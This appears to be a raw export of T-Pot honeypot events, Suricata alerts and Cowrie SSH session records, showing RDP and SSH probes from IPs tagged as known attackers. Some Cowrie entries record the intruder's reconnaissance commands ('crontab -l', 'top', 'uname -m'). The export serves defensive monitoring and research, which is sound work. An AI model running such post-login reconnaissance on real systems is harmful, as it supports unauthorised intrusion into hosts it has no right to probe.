33266	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:54:41.98721+03	2021-09-20 15:00:05.644722+03	{"_id": "0AYOA3wBvYTbRNuE7U7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:41.238606+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1730534506079246, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52698, "dest_port": 3389, "timestamp": "2021-09-20T11:54:41.987210Z", "@timestamp": "2021-09-20T11:54:41.987Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33267	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:54:41.98721+03	2021-09-20 15:00:05.645722+03	{"_id": "0QYOA3wBvYTbRNuE7U7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:41.238606+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1730534506079246, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52698, "dest_port": 3389, "timestamp": "2021-09-20T11:54:41.987210Z", "@timestamp": "2021-09-20T11:54:41.987Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33268	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:42.519249+03	2021-09-20 15:00:05.646723+03	{"_id": "0wYOA3wBvYTbRNuE8E5t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:42.519249Z", "@timestamp": "2021-09-20T11:54:42.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33269	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:42.693985+03	2021-09-20 15:00:05.648721+03	{"_id": "1wYOA3wBvYTbRNuE8E5u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "1.116.239.130", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.2936716079711914, "duplicate": true, "timestamp": "2021-09-20T11:54:42.693985Z", "@timestamp": "2021-09-20T11:54:42.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33270	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:44.047429+03	2021-09-20 15:00:05.649722+03	{"_id": "2gYOA3wBvYTbRNuE9E5W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 23, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "121.4.68.188", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5834426879882812, "duplicate": true, "timestamp": "2021-09-20T11:54:44.047429Z", "@timestamp": "2021-09-20T11:54:44.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33271	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:43.464636+03	2021-09-20 15:00:05.650721+03	{"_id": "3QYOA3wBvYTbRNuE9E5W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:43.464636Z", "@timestamp": "2021-09-20T11:54:43.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33272	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:43.094503+03	2021-09-20 15:00:05.651722+03	{"_id": "3AYOA3wBvYTbRNuE9E5W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "121.4.68.188", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5753893852233887, "duplicate": true, "timestamp": "2021-09-20T11:54:43.094503Z", "@timestamp": "2021-09-20T11:54:43.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33273	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:45.06194+03	2021-09-20 15:00:05.652722+03	{"_id": "3wYOA3wBvYTbRNuE-E4_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "121.4.68.188", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5689668655395508, "duplicate": true, "timestamp": "2021-09-20T11:54:45.061940Z", "@timestamp": "2021-09-20T11:54:45.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33274	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:47.045047+03	2021-09-20 15:00:05.654722+03	{"_id": "7gYPA3wBvYTbRNuEAE4Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "121.4.68.188", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5791680812835693, "duplicate": true, "timestamp": "2021-09-20T11:54:47.045047Z", "@timestamp": "2021-09-20T11:54:47.045Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33275	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:54:46.712963+03	2021-09-20 15:00:05.655722+03	{"_id": "8AYPA3wBvYTbRNuEAU5h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:45.704150+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 220}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755832176278, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:54:46.712963Z", "@timestamp": "2021-09-20T11:54:46.712Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
33276	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:54:46.941116+03	2021-09-20 15:00:05.656722+03	{"_id": "8QYPA3wBvYTbRNuEAU5h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:54:46.941116Z", "@timestamp": "2021-09-20T11:54:46.941Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33277	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:47.43623+03	2021-09-20 15:00:05.657721+03	{"_id": "9AYPA3wBvYTbRNuEA074", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:47.436230Z", "@timestamp": "2021-09-20T11:54:47.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33278	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:47.995826+03	2021-09-20 15:00:05.658722+03	{"_id": "8wYPA3wBvYTbRNuEA074", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "121.4.68.188", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5602526664733887, "duplicate": true, "timestamp": "2021-09-20T11:54:47.995826Z", "@timestamp": "2021-09-20T11:54:47.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33279	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:54:47.941743+03	2021-09-20 15:00:05.660722+03	{"_id": "9gYPA3wBvYTbRNuEBU5J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:54:47.941743Z", "@timestamp": "2021-09-20T11:54:47.941Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33280	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:48.404192+03	2021-09-20 15:00:05.661723+03	{"_id": "-QYPA3wBvYTbRNuEB07h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:48.404192Z", "@timestamp": "2021-09-20T11:54:48.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33281	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:49.964636+03	2021-09-20 15:00:05.662722+03	{"_id": "-wYPA3wBvYTbRNuEC07K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "121.4.68.188", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5688183307647705, "duplicate": true, "timestamp": "2021-09-20T11:54:49.964636Z", "@timestamp": "2021-09-20T11:54:49.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33282	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:54:50.361506+03	2021-09-20 15:00:05.663721+03	{"_id": "_gYPA3wBvYTbRNuEDU4a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:54:49.938498+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 137226193818114, "payload": "AAADzAYUJGdYu19RBBFqxgu3G7sJCwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56078, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:54:50.361506Z", "@timestamp": "2021-09-20T11:54:50.361Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......$gX._Q..j..........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33283	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:45.46557+03	2021-09-20 15:00:05.664722+03	{"_id": "5QYOA3wBvYTbRNuE_E4n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:45.465570Z", "@timestamp": "2021-09-20T11:54:45.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
